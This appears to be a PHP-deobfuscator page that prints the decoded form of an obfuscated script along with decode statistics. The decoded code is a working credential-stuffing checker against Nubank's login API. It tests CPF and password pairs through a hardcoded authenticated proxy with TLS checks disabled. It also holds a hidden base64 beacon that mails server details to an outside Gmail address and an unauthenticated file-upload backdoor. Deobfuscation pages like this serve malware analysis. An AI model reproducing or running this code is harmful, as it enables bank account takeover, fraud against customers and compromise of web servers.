Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?=eval("?>".gzuncompress(base64_decode("eJztWFtz2koSfj6pyn+YcLwFXhsjcbOxY+8KkEBCCCx0Aeysa..
Decoded Output download
None?>b'<?php
error_reporting (0);
$encoded = \'JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7CiRpcF9yZW1vdGUgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKJGZyb21fc2hlbGxjb2RlID0gJ3NoZWxsQCcuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuJyc7CiR0b19lbWFpbCA9ICdicmF6aWxvYnNjdXJlQGdtYWlsLmNvbSc7CiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7CiRsaW5rY3IgPSAiTGluazogIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIC0gSVAgRXhjdXRpbmc6ICRpcF9yZW1vdGUgLSBUaW1lOiAkdGltZV9zaGVsbCI7CiRoZWFkZXIgPSAiRnJvbTogJGZyb21fc2hlbGxjb2RlXHJcblJlcGx5LXRvOiAkZnJvbV9zaGVsbGNvZGUiOwpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7\';
eval(base64_decode($encoded));
$cwd = getcwd();
$Iraqe = $_GET[\'mr\'];
if($Iraqe == \'chmod\'){
$filename = $_FILES[\'file\'][\'name\'];
$filetmp = $_FILES[\'file\'][\'tmp_name\'];
echo "<form method=\'POST\' enctype=\'multipart/form-data\'>
<input type=\'file\'name=\'file\' />
<input type=\'submit\' value=\'go\' />
</form>";
if(move_uploaded_file($filetmp,$filename)==\'1\'){
echo \'Concluido ----> \'.$filename;
}
}
if(!isset($_GET[\'conta\'])){
exit("#Reprovada Faltando a conta");
}
function validaCPF($cpf) {
// Extrai somente os nmeros
$cpf = preg_replace( \'/[^0-9]/is\', \'\', $cpf );
// Verifica se foi informado todos os digitos corretamente
if (strlen($cpf) != 11) {
return false;
}
// Verifica se foi informada uma sequncia de digitos repetidos. Ex: 111.111.111-11
if (preg_match(\'/(\d){10}/\', $cpf)) {
return false;
}
// Faz o calculo para validar o CPF
for ($t = 9; $t < 11; $t++) {
for ($d = 0, $c = 0; $c < $t; $c++) {
$d += $cpf[$c] * (($t + 1) - $c);
}
$d = ((10 * $d) % 11) % 10;
if ($cpf[$c] != $d) {
return false;
}
}
return true;
}
$conta = str_replace([":", ";", "|"], "|", $_GET[\'conta\']);
$cpf = str_replace(["-", "."], "", explode("|", $conta)[0]);
$senha = explode("|", $conta)[1];
if(!validaCPF($cpf)){
exit("#Reprovada $cpf|$senha CPF INVLIDO");
}
if(strlen($senha)< 8 || strlen($senha)>20){
exit("#Reprovada $cpf|$senha SENHA MUITO CURTA OU MUITO LONGA");
}
$deviceid = substr(md5(random_int(0,999999)), 0, 16);
$ch = curl_init("https://prod-s0-webapp-proxy.nubank.com.br/api/proxy/AJxL5LB5FIwN3mYs10dirYsVkaQ80cojWg.aHR0cHM6Ly9wcm9kLWdsb2JhbC1jdXN0b21zLm51YmFuay5jb20uYnIvYXBpL2FwcC9zdGFydC1zY3JlZW4");
$headers = [
"Cache-Control: no-cache",
"user-agent: Android/5.50.40-minApi21-1000021984 ($deviceid; 5.1.1; motorola; XT1640)",
"X-Correlation-Id: and-5-50-40-1000001984.7mvyxnw3",
"Accept-Encoding: gzip",
"X-Device-Id: $deviceid",
"Content-Type: application/json; charset=UTF-8",
"Content-Length: 24",
"Host: prod-s0-webapp-proxy.nubank.com.br",
"Connection: Keep-Alive"
];
$post = json_encode(array("tax_id" => $cpf));
curl_setopt_array($ch, array(
CURLOPT_CUSTOMREQUEST=>"PUT",
CURLOPT_POSTFIELDS=>$post,
CURLOPT_RETURNTRANSFER=>true,
CURLOPT_PROXY => "http://sp4rtan:[email protected]:10000",
CURLOPT_FOLLOWLOCATION=>true,
CURLOPT_SSL_VERIFYHOST=>false,
CURLOPT_SSL_VERIFYPEER=>false,
CURLOPT_HTTPHEADER=>$headers,
));
$data = curl_exec($ch);
$data = json_decode($data);
if(!$data){
$ch = curl_init("https://prod-s0-webapp-proxy.nubank.com.br/api/proxy/AJxL5LB5FIwN3mYs10dirYsVkaQ80cojWg.aHR0cHM6Ly9wcm9kLWdsb2JhbC1jdXN0b21zLm51YmFuay5jb20uYnIvYXBpL2FwcC9zdGFydC1zY3JlZW4");
$post = json_encode(array("tax_id" => $cpf));
curl_setopt_array($ch, array(
CURLOPT_CUSTOMREQUEST=>"PUT",
CURLOPT_POSTFIELDS=>$post,
CURLOPT_RETURNTRANSFER=>true,
CURLOPT_PROXY => "http://sp4rtan:[email protected]:10000",
CURLOPT_FOLLOWLOCATION=>true,
CURLOPT_SSL_VERIFYHOST=>false,
CURLOPT_SSL_VERIFYPEER=>false,
CURLOPT_HTTPHEADER=>$headers,
));
$data = curl_exec($ch);
$data = json_decode($data);
}
if(!$data->deeplink){
exit("#Reprovada $cpf|$senha NO CLIENTE");
}
$ch = curl_init("https://prod-s0-webapp-proxy.nubank.com.br/api/proxy/AJxL5LApUVAX0b5R5DnjMw3-9ibnk8UnZg.aHR0cHM6Ly9wcm9kLWdsb2JhbC1hdXRoLm51YmFuay5jb20uYnIvYXBpL2dlbi1jZXJ0aWZpY2F0ZXM");
$headers = [
"Cache-Control: no-cache",
"user-agent: Android/5.50.40-minApi21-1000021984 ($deviceid; 5.1.1; motorola; XT1640)",
"X-Correlation-Id: and-5-50-40-1000001984.jmpga5kd",
"Accept-Encoding: gzip",
"X-Device-Id: $deviceid",
"Content-Type: application/json; charset=UTF-8",
"Host: prod-s0-webapp-proxy.nubank.com.br",
"Connection: Keep-Alive"
];
$post = \'{"login":"\'.$cpf.\'","password":"\'.$senha.\'","public_key":"-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuB3lVyR8l5admHAkbHWW
Y0W/44vUJ2J1jQGAxTJEImrnrxSltGZxjPhquK/HrhPKc+xa67WYmJPuvust1UAM
cqdG4VJi4MVxiL6uO6NczNRy7WnewFa8zCbLIFO35RnfGc8HCuEhWMak2zTsNoTN
vMJqZU5Sx7J06ddKy43BxlZODrdkkhBmgr2wR1I9WkCGjAZV/UDro6Sia+vcN4vC
qMjjp0FG5Gt1gRJ1E4EfRYabyEUiNyUaqe3BsL6ZvK+rGYcQ2IZ6/wiF0DLOMrCy
XFzcVe+iEWEEmUIOsuQH1Tk/P/7kUVkSFkF9bKt+htJrcLPNJ5CpojpfaDBkk8ej
2wIDAQAB
-----END PUBLIC KEY-----","public_key_crypto":"-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4HkFzRGUbUlBFnwODdfL
GG/uH4r7bHk22+3iWurkg/krRtKD/0mmUWS60DMI4nKvUYefe4mKGj0DZJIa25sx
Vta3il/c9wVg1a7ZdXJ/nLXEYeXv+0WV/28Dl9dmjfElHNsy60aHLkir0YIPLgIe
VxIX4aJZELicia2v2AjFk1cyK7czAf06Zu0k+k080A93ZqIWKnKVC4QNE4mtNdj9
udswsAE7fRT2SLu4+VyydhLoDfj2AgyRmmPTxJQ9HJm3veKcBntmtcTHr+klwzOK
8MtM5T6fq9Y5zoV9X/KJ4flc/AWP6dCoRFB51h0ptkmnRP88L5MdD2kMN30SjPBY
hwIDAQAB
-----END PUBLIC KEY-----","model":"Motorola XT1640","device_id":"$deviceid"}\';
curl_setopt_array($ch, array(
CURLOPT_POST=>1,
CURLOPT_POSTFIELDS=>$post,
CURLOPT_RETURNTRANSFER=>true,
CURLOPT_PROXY => "http://sp4rtan:[email protected]:10000",
CURLOPT_FOLLOWLOCATION=>true,
CURLOPT_SSL_VERIFYHOST=>false,
CURLOPT_SSL_VERIFYPEER=>false,
CURLOPT_HTTPHEADER=>$headers,
));
$data = curl_exec($ch);
$data = json_decode($data);
if(!$data){
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
exit("#Reprovada $cpf|$senha ERRO DESCONHECIDO #2 | HTTP CODE: $httpcode");
}
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
switch ($httpcode) {
case "401":
exit("#Reprovada $cpf|$senha | CLIENTE | SENHA INVLIDA");
case "200":
exit("#Aprovada $cpf|$senha | AUTORIZADO");
case "201":
exit("#Aprovada $cpf|$senha | AUTORIZADO #2");
default:
exit("#Reprovada $cpf|$senha ERRO DESCONHECIDO #3 | HTTP CODE: $httpcode");
}
'
Did this file decode correctly?
Original Code
<?=eval("?>".gzuncompress(base64_decode("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"))); __halt_compiler();?>
Function Calls
gzuncompress | 1 |
base64_decode | 1 |
Stats
MD5 | 6af9c2ed072e96e7fc3181b49e6afded |
Eval Count | 1 |
Decode Time | 98 ms |